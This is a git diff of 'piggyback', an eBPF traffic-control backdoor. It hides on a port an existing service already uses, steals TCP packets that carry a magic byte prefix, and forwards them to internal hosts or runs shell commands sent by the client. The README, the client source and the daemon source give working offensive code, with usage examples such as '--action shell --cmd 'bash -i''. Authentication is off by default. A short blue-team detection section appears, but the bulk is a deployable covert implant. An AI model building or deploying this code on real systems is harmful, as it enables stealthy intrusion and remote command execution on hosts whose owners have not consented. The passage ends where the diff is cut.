diff --git a/README.md b/README.md index a2a5c0c..f799a52 100644 --- a/README.md +++ b/README.md @@ -1,26 +1,27 @@ # piggyback Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, -steals matching ones before the application sees them, and forwards or executes them. -Normal traffic is unaffected. Zero changes to existing services. +steals matching ones before the application sees them, forwards or executes per the +client's instruction. Normal traffic is unaffected. Zero changes to existing services. ``` Mode 1 — Plain TCP Client Server (:80) │── TCP packet ────────────→ TC eBPF ingress - │ [MAGIC][header][payload] magic match? + │ [MAGIC][header] magic match? │ YES → TC_ACT_STOLEN → daemon │ NO → TC_ACT_OK → app (nginx etc.) Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL) Client Middleware (:443) Server (:80) │── valid TLS ──→ │ │ - │ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress - │ inside │ (inner bytes fwd) magic match? → same as Mode 1 + │ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress + │ inside │ (inner bytes fwd) → same as Mode 1 ``` -Mode 2 is identical server-side. Client establishes real TLS with a configurable -SNI so middleware routing works. Server never handles TLS — simpler, smaller surface. +Mode 2 is identical server-side. Client sends a real TLS handshake toward +middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. +Middleware decrypts and forwards inner bytes to the plain TCP backend. --- @@ -41,45 +42,25 @@ sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodi ## Configuration -All config is compile-time. Edit the constants at the top of each file, then `make`. +Only two files need editing before compiling. Port must match in both. -### `piggyback.bpf.c` — eBPF kernel program +### `piggyback.bpf.c` ```c -#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT) -#define PORTS_N 2 -#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync) +#define LISTEN_PORT 80 // port to intercept +#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c ``` -### `piggyback.c` — server daemon +### `piggyback.c` ```c -#define IFACE "" // "" = auto-detect default-route interface -#define LISTEN_PORT 80 // must match eBPF PORTS array -#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) -#define FWD_PORT 22 // default forward target port -#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check) -#define VERBOSE 0 - -#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection -#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen` +#define IFACE "" // "" = auto-detect default-route interface +#define LISTEN_PORT 80 // must match piggyback.bpf.c +#define AUTH_ENABLED 0 // 1 = require Ed25519 signature +#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen` ``` -### `pb-client.c` — client -```c -#define SERVER_IP "1.2.3.4" -#define SERVER_PORT 80 -#define LOCAL_PORT 2222 // ssh -p 2222 localhost - -#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS -#define SNI "" // required for MODE_TLS — change per engagement - -#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth -#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL -#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD) -#define TARGET_PORT 22 -#define SHELL_CMD "bash" // (ACTION_SHELL) -``` - -> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement. +Forward target, action, and target port are **not configured in the daemon** — +they come from the client packet. The daemon has no idea where to forward until +a client tells it. --- @@ -89,62 +70,86 @@ All config is compile-time. Edit the constants at the top of each file, then `ma make ``` -### Generate Ed25519 keypair (for auth) +### Generate Ed25519 keypair (for authenticated mode) ```bash make keygen -# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c -# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target) +# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c +# Saves engagement.key → pass to pb-client with --key (never copy to target) ``` --- ## Usage +### Server (target machine) ```bash -# Server (target machine) sudo ./piggyback +``` -# Client (operator machine) -./pb-client +### Client (operator machine) +```bash +# Mode 1 — plain TCP, no auth, forward to sshd +./pb-client 1.2.3.4 80 2222 -# Then connect locally +# Mode 2 — through TLS middleware (SNI must match middleware routing) +./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com + +# With auth — forward to custom target +./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389 + +# Shell execution +./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i' + +# Then connect ssh -p 2222 user@localhost ``` -No CLI flags — all config is baked into the binary at compile time. +Full client options: +``` +./pb-client [options] + + --mode tcp|tls connection mode (default: tcp) + --sni SNI for TLS — must match middleware virtual host config + --key Ed25519 private key PEM (enables auth) + --action forward|shell (default: forward) + --target forward target on server side (default: 127.0.0.1:22) + --cmd shell command for --action shell (default: bash) + -v verbose +``` --- ## Auth flow (AUTH_ENABLED=1) 1. `make keygen` — generate Ed25519 keypair -2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon -3. Set `KEY_PATH` in `pb-client.c`, recompile client -4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd -5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring -6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`) +2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon +3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine) +4. Client sends: `MAGIC` (6) + 80-byte signed header +5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring +6. On pass: executes action from header 7. On fail: connection dropped silently -Signed header format (80 bytes): +Signed header format (80 bytes after MAGIC): ``` [0..7] unix timestamp, big-endian uint64 -[8] action (0x01 = forward, 0x02 = shell) -[9..12] target IPv4 (forward) or zeros -[13..14] target port big-endian or zeros +[8] action (0x01=forward, 0x02=shell) +[9..12] target IPv4 +[13..14] target port big-endian [15] reserved -[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes) +[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes) ``` -Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host. +Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in +no-auth mode reads action+target and skips signature verification. --- ## Detection (Blue Team) ```bash -tc filter show dev eth0 ingress # TC eBPF filters on interface +tc filter show dev eth0 ingress # TC eBPF filters bpftool prog list # all loaded eBPF programs -bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock) +bpftool map list # eBPF maps (conn_state, pending, daemon_sock) ``` Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs @@ -154,12 +159,7 @@ on internet-facing interfaces. ## Known Limitations -- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP; - IPv6 forward targets require header format extension -- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry; - with REPLAY_WINDOW_SEC=30 this is sufficient for normal use -- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to - connect-back mode (works except behind strict NAT) -- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled - by per-connection eBPF state machine, but only within a 6-byte sliding window - per packet; edge cases with very small MSS possible +- **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP +- **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry +- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back + (works everywhere except strict NAT scenarios) diff --git a/pb-client.c b/pb-client.c index aa96601..29331be 100644 --- a/pb-client.c +++ b/pb-client.c @@ -1,19 +1,23 @@ // pb-client.c — piggyback client // -// All configuration is via compile-time constants below. -// Build: make Run: ./pb-client +// Usage: +// ./pb-client [options] // -// Mode 1 (CLIENT_MODE = MODE_TCP): -// Plain TCP to server, sends MAGIC prefix, splices traffic. +// Options: +// --mode tcp|tls connection mode (default: tcp) +// --sni SNI for TLS — must match middleware routing config +// --key Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1) +// --action forward|shell what to do on the server (default: forward) +// --target forward target (default: 127.0.0.1:22) +// --cmd shell command for --action shell (default: bash) +// -v verbose // -// Mode 2 (CLIENT_MODE = MODE_TLS): -// Genuine TLS connection to middleware (SNI required). -// Middleware decrypts and forwards inner bytes to plain TCP backend. -// Server-side eBPF sees raw MAGIC as in Mode 1. -// -// Auth (KEY_PATH != ""): -// Sends Ed25519-signed 80-byte header after MAGIC. -// Required when daemon has AUTH_ENABLED=1. +// Examples: +// ./pb-client 1.2.3.4 80 2222 +// ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com +// ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22 +// ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id' +// ssh -p 2222 user@localhost #include #include @@ -34,91 +38,87 @@ #include #include -// ── Engagement Configuration ────────────────────────────────────────────────── -// Edit these before compiling. - -#define SERVER_IP "1.2.3.4" // target server IP or hostname -#define SERVER_PORT 80 // target port -#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost) - -// Connection mode -#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS -#define SNI "" // SNI hostname — required for MODE_TLS - -// Auth — leave KEY_PATH "" to disable (no signed header sent) -// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon. -#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key) -#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL -#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD) -#define TARGET_PORT 22 // forward target port (ACTION_FORWARD) -#define SHELL_CMD "bash" // shell command (ACTION_SHELL) - -#define VERBOSE 0 // 1 = debug logging - // ── Shared constants (must match piggyback.bpf.c / piggyback.c) ────────────── #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC_LEN 6 -#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature +#define HEADER_LEN 80 + +#define HDR_TIMESTAMP_OFF 0 +#define HDR_ACTION_OFF 8 +#define HDR_TARGET_IP_OFF 9 +#define HDR_TARGET_PORT_OFF 13 +#define HDR_SIG_OFF 16 +#define HDR_MSG_LEN 20 #define ACTION_FORWARD 0x01 #define ACTION_SHELL 0x02 -// ── Mode enum ───────────────────────────────────────────────────────────────── +typedef enum { MODE_TCP, MODE_TLS } mode_t; -typedef enum { MODE_TCP, MODE_TLS } client_mode_t; +// ── Config ──────────────────────────────────────────────────────────────────── -// ── Globals ─────────────────────────────────────────────────────────────────── +static struct { + char server_ip[256]; + int server_port; + int local_port; + mode_t mode; + char sni[256]; + char key_path[256]; + int action; + char target_ip[64]; + int target_port; + char cmd[1024]; + int verbose; +} cfg = { + .mode = MODE_TCP, + .action = ACTION_FORWARD, + .target_ip = "127.0.0.1", + .target_port = 22, + .cmd = "bash", +}; static volatile int running = 1; static SSL_CTX *ssl_ctx = NULL; -// ── Logging ─────────────────────────────────────────────────────────────────── - #define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) #define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) -#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) +#define log_dbg(fmt, ...) do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) -// ── Abstract I/O over plain TCP or TLS ─────────────────────────────────────── +// ── Abstract I/O ───────────────────────────────────────────────────────────── struct conn { int fd; SSL *ssl; }; -static ssize_t conn_read(struct conn *c, void *buf, size_t len) { - return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len); -} static ssize_t conn_write(struct conn *c, const void *buf, size_t len) { return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len); } +static ssize_t conn_read(struct conn *c, void *buf, size_t len) { + return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len); +} static void conn_close(struct conn *c) { if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; } if (c->fd >= 0) { close(c->fd); c->fd = -1; } } -// ── Bidirectional splice ────────────────────────────────────────────────────── +// ── Splice ──────────────────────────────────────────────────────────────────── static void splice_loop(int local_fd, struct conn *remote) { int epfd = epoll_create1(0); struct epoll_event ev, evs[2]; char buf[65536]; - ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; - ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev); + ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev); ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev); - while (running) { int n = epoll_wait(epfd, evs, 2, 1000); for (int i = 0; i < n; i++) { if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; if (evs[i].data.fd == local_fd) { - ssize_t r = read(local_fd, buf, sizeof(buf)); - if (r <= 0) goto done; - ssize_t w = 0; - while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; } + ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done; + for (ssize_t w=0; w= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; } - - fields[8] = CLIENT_ACTION; - - if (CLIENT_ACTION == ACTION_FORWARD) { - uint32_t tip = 0; - inet_pton(AF_INET, TARGET_IP, &tip); - memcpy(fields + 9, &tip, 4); - uint16_t tport = htons(TARGET_PORT); - memcpy(fields + 13, &tport, 2); + // timestamp (zeros if no key — daemon in no-auth mode ignores it) + if (cfg.key_path[0]) { + uint64_t ts = (uint64_t)time(NULL); + for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; } } - uint8_t msg[20]; - memcpy(msg, fields, 16); - memcpy(msg + 16, &server_ip_be, 4); + hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action; - FILE *f = fopen(KEY_PATH, "r"); - if (!f) { perror("fopen privkey"); return -1; } - EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL); - fclose(f); - if (!pkey) { ERR_print_errors_fp(stderr); return -1; } + if (cfg.action == ACTION_FORWARD) { + uint32_t tip = 0; + inet_pton(AF_INET, cfg.target_ip, &tip); + memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4); + uint16_t tport = htons((uint16_t)cfg.target_port); + memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2); + } - EVP_MD_CTX *ctx = EVP_MD_CTX_new(); - size_t siglen = 64; - uint8_t sig[64]; - int ok = ctx && - EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 && - EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1; - if (ctx) EVP_MD_CTX_free(ctx); - EVP_PKEY_free(pkey); + // Sign if key provided + if (cfg.key_path[0]) { + uint8_t msg[HDR_MSG_LEN]; + memcpy(msg, hdr, 16); + memcpy(msg + 16, &server_ip_be, 4); - if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; } + FILE *f = fopen(cfg.key_path, "r"); + if (!f) { perror("fopen key"); return -1; } + EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL); + fclose(f); + if (!pkey) { ERR_print_errors_fp(stderr); return -1; } - uint8_t header[HEADER_LEN]; - memcpy(header, fields, 16); - memcpy(header + 16, sig, 64); + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + size_t siglen = 64; + uint8_t sig[64]; + int ok = ctx && + EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 && + EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1; + if (ctx) EVP_MD_CTX_free(ctx); + EVP_PKEY_free(pkey); + if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; } + memcpy(hdr + HDR_SIG_OFF, sig, 64); + } - if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) { - log_err("write auth header failed"); return -1; + if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) { + log_err("write header failed"); return -1; } return 0; } -// ── Connect to server ───────────────────────────────────────────────────────── +// ── TCP connect ─────────────────────────────────────────────────────────────── static int tcp_connect(const char *host, int port) { struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM }; struct addrinfo *res; - char port_str[8]; - snprintf(port_str, sizeof(port_str), "%d", port); - + char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port); if (getaddrinfo(host, port_str, &hints, &res) != 0) { log_err("getaddrinfo(%s:%d) failed", host, port); return -1; } @@ -217,50 +212,50 @@ static void *conn_thread(void *arg) { struct conn remote = { .fd = -1, .ssl = NULL }; - remote.fd = tcp_connect(SERVER_IP, SERVER_PORT); + remote.fd = tcp_connect(cfg.server_ip, cfg.server_port); if (remote.fd < 0) goto done; - if (CLIENT_MODE == MODE_TLS) { - if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; } + if (cfg.mode == MODE_TLS) { remote.ssl = SSL_new(ssl_ctx); if (!remote.ssl) goto done; SSL_set_fd(remote.ssl, remote.fd); - if (strlen(SNI) > 0) - SSL_set_tlsext_host_name(remote.ssl, SNI); + SSL_set_tlsext_host_name(remote.ssl, cfg.sni); if (SSL_connect(remote.ssl) != 1) { ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done; } - log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl)); + log_dbg("TLS: %s", SSL_get_cipher(remote.ssl)); } - // Send MAGIC + // MAGIC if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) { log_err("write magic failed"); goto done; } - // Send signed header if auth enabled - if (strlen(KEY_PATH) > 0) { + // Header (always — carries action+target; signed if --key set) + { uint32_t server_ip_be = 0; - struct addrinfo hints = { .ai_family = AF_INET }; + struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM }; struct addrinfo *res; - if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) { + if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) { server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr; freeaddrinfo(res); } - if (send_auth_header(&remote, server_ip_be) != 0) goto done; - log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION); + if (send_header(&remote, server_ip_be) != 0) goto done; + } - if (CLIENT_ACTION == ACTION_SHELL) { - size_t cmdlen = strlen(SHELL_CMD); - if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) { - log_err("write shell cmd failed"); goto done; - } + // Shell command follows header for ACTION_SHELL + if (cfg.action == ACTION_SHELL) { + size_t len = strlen(cfg.cmd); + if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) { + log_err("write cmd failed"); goto done; } } - log_info("connected [%s%s]", - CLIENT_MODE == MODE_TLS ? "TLS" : "TCP", - strlen(KEY_PATH) > 0 ? " auth=ed25519" : ""); + log_info("%s:%d [%s%s] action=%s", + cfg.server_ip, cfg.server_port, + cfg.mode == MODE_TLS ? "TLS" : "TCP", + cfg.key_path[0] ? " signed" : "", + cfg.action == ACTION_FORWARD ? "forward" : "shell"); splice_loop(local_fd, &remote); @@ -270,27 +265,86 @@ done: return NULL; } -// ── Signal ──────────────────────────────────────────────────────────────────── - static void on_signal(int sig __attribute__((unused))) { running = 0; } +// ── Usage ───────────────────────────────────────────────────────────────────── + +static void usage(const char *prog) { + fprintf(stderr, + "Usage: %s [options]\n" + "\n" + " --mode tcp|tls (default: tcp)\n" + " --sni SNI for TLS — must match middleware routing\n" + " --key Ed25519 private key PEM (enables signed auth)\n" + " --action forward|shell (default: forward)\n" + " --target forward target (default: 127.0.0.1:22)\n" + " --cmd shell command (default: bash)\n" + " -v verbose\n" + "\n" + " %s 1.2.3.4 80 2222\n" + " %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n" + " %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n" + " %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n" + " ssh -p 2222 user@localhost\n", + prog, prog, prog, prog, prog); +} + // ── Main ────────────────────────────────────────────────────────────────────── -int main(void) { - if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) { - fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1; +int main(int argc, char **argv) { + int positional = 0; + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "--mode") && i+1 < argc) { + i++; + if (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP; + else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS; + else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; } + } else if (!strcmp(argv[i], "--sni") && i+1 < argc) { + strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1); + } else if (!strcmp(argv[i], "--key") && i+1 < argc) { + strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1); + } else if (!strcmp(argv[i], "--action") && i+1 < argc) { + i++; + if (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD; + else if (!strcmp(argv[i], "shell")) cfg.action = ACTION_SHELL; + else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; } + } else if (!strcmp(argv[i], "--target") && i+1 < argc) { + i++; + char *colon = strrchr(argv[i], ':'); + if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; } + *colon = '\0'; + strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1); + cfg.target_port = atoi(colon+1); + } else if (!strcmp(argv[i], "--cmd") && i+1 < argc) { + strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1); + } else if (!strcmp(argv[i], "-v")) { + cfg.verbose = 1; + } else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) { + usage(argv[0]); return 0; + } else if (argv[i][0] != '-') { + switch (positional++) { + case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break; + case 1: cfg.server_port = atoi(argv[i]); break; + case 2: cfg.local_port = atoi(argv[i]); break; + default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1; + } + } else { + fprintf(stderr, "unknown option: %s\n", argv[i]); return 1; + } } - signal(SIGINT, on_signal); - signal(SIGTERM, on_signal); - signal(SIGPIPE, SIG_IGN); + if (positional < 3) { usage(argv[0]); return 1; } + if (cfg.mode == MODE_TLS && !cfg.sni[0]) { + fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1; + } + + signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN); - // OpenSSL init (needed for key loading even in TCP mode) SSL_library_init(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); - if (CLIENT_MODE == MODE_TLS) { + if (cfg.mode == MODE_TLS) { ssl_ctx = SSL_CTX_new(TLS_client_method()); if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; } SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); @@ -303,31 +357,26 @@ int main(void) { setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); struct sockaddr_in laddr = { .sin_family = AF_INET, - .sin_port = htons(LOCAL_PORT), + .sin_port = htons(cfg.local_port), .sin_addr.s_addr = htonl(INADDR_LOOPBACK), }; if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { - log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1; + log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1; } listen(listen_fd, 16); - log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]", - LOCAL_PORT, SERVER_IP, SERVER_PORT, - CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP", - CLIENT_MODE == MODE_TLS ? SNI : "", - strlen(KEY_PATH) > 0 ? " auth=ed25519" : "", - strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : ""); + log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]", + cfg.local_port, cfg.server_ip, cfg.server_port, + cfg.mode == MODE_TLS ? "TLS" : "TCP", + cfg.key_path[0] ? " auth=ed25519" : ""); while (running) { - struct sockaddr_in caddr; - socklen_t clen = sizeof(caddr); + struct sockaddr_in caddr; socklen_t clen = sizeof(caddr); int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen); if (cfd < 0) { if (running) perror("accept"); continue; } - struct conn_args *a = malloc(sizeof(*a)); if (!a) { close(cfd); continue; } a->local_fd = cfd; - pthread_t tid; pthread_create(&tid, NULL, conn_thread, a); pthread_detach(tid); diff --git a/piggyback.bpf.c b/piggyback.bpf.c index 8a5a207..60c05bc 100644 --- a/piggyback.bpf.c +++ b/piggyback.bpf.c @@ -29,8 +29,7 @@ // ── Configuration ───────────────────────────────────────────────────────────── -#define PORTS { 80, 8080 } -#define PORTS_N 2 +#define LISTEN_PORT 80 // must match LISTEN_PORT in piggyback.c #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC_LEN 6 @@ -110,13 +109,7 @@ static __always_inline void inc_stat(__u32 idx) { // ── Helpers ─────────────────────────────────────────────────────────────────── static __always_inline int port_watched(__u16 port_be) { - __u16 ports[] = PORTS; - __u16 p = bpf_ntohs(port_be); - if (PORTS_N > 0 && p == ports[0]) return 1; - if (PORTS_N > 1 && p == ports[1]) return 1; - if (PORTS_N > 2 && p == ports[2]) return 1; - if (PORTS_N > 3 && p == ports[3]) return 1; - return 0; + return bpf_ntohs(port_be) == LISTEN_PORT; } static __always_inline __u8 magic_at(__u8 idx) { diff --git a/piggyback.c b/piggyback.c index 74c9d58..d595c0d 100644 --- a/piggyback.c +++ b/piggyback.c @@ -1,9 +1,9 @@ // piggyback.c — userspace daemon // -// Loads TC eBPF + sk_lookup programs, registers daemon socket, -// polls ring buffer, verifies Ed25519 signatures, dispatches connections. +// Loads TC eBPF + sk_lookup programs, accepts magic connections, +// dispatches to forward target or shell — all specified by the client packet. +// Daemon has no forward-target config; it comes from the signed header. // -// All configuration is via compile-time constants below. // Build: make Run: sudo ./piggyback #include @@ -17,6 +17,7 @@ #include #include #include +#include #include #include #include @@ -30,16 +31,12 @@ // ── Engagement Configuration ────────────────────────────────────────────────── // Edit these before compiling. Run `make keygen` to generate a keypair. -#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0" -#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c -#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) -#define FWD_PORT 22 // default forward target port -#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention -#define VERBOSE 0 // 1 = debug logging +#define IFACE "" // "" = auto-detect default-route interface; or e.g. "eth0" +#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c +#define VERBOSE 0 // 1 = debug logging -// Ed25519 auth. -// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`. -// Leave AUTH_ENABLED=0 to accept any magic packet without signature check. +// Ed25519 auth. AUTH_ENABLED=0: accept any magic packet (no sig check). +// AUTH_ENABLED=1: require valid signed header. Run `make keygen`, set TRUSTED_PUBKEY. #define AUTH_ENABLED 0 #define TRUSTED_PUBKEY { \ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ @@ -48,24 +45,25 @@ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \ } -// ── Shared constants (must match piggyback.bpf.c) ──────────────────────────── +// ── Shared constants (must match piggyback.bpf.c and pb-client.c) ───────────── #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC_LEN 6 #define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature -#define HDR_TIMESTAMP_OFF 0 -#define HDR_ACTION_OFF 8 -#define HDR_TARGET_IP_OFF 9 -#define HDR_TARGET_PORT_OFF 13 -#define HDR_SIG_OFF 16 -#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes +// Header field offsets +#define HDR_TIMESTAMP_OFF 0 +#define HDR_ACTION_OFF 8 +#define HDR_TARGET_IP_OFF 9 +#define HDR_TARGET_PORT_OFF 13 +#define HDR_SIG_OFF 16 +#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes #define ACTION_FORWARD 0x01 #define ACTION_SHELL 0x02 #define REPLAY_RING_SIZE 256 -#define TIMESTAMP_WINDOW 60 // seconds +#define TIMESTAMP_WINDOW 60 // seconds // ── Event struct (must match piggyback.bpf.c) ───────────────────────────────── @@ -83,15 +81,21 @@ struct event { // ── Globals ─────────────────────────────────────────────────────────────────── static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY; -static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup +static uint8_t server_ip_bytes[4]; -static volatile int running = 1; -static unsigned int ifindex = 0; -static char iface_name[64]; -static struct bpf_object *obj = NULL; -static int accept_fd = -1; +static volatile int running = 1; +static unsigned int ifindex = 0; +static char iface_name[64]; +static struct bpf_object *obj = NULL; +static int accept_fd = -1; -// ── Interface auto-detection ────────────────────────────────────────────────── +// ── Logging ─────────────────────────────────────────────────────────────────── + +#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) +#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) +#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) + +// ── 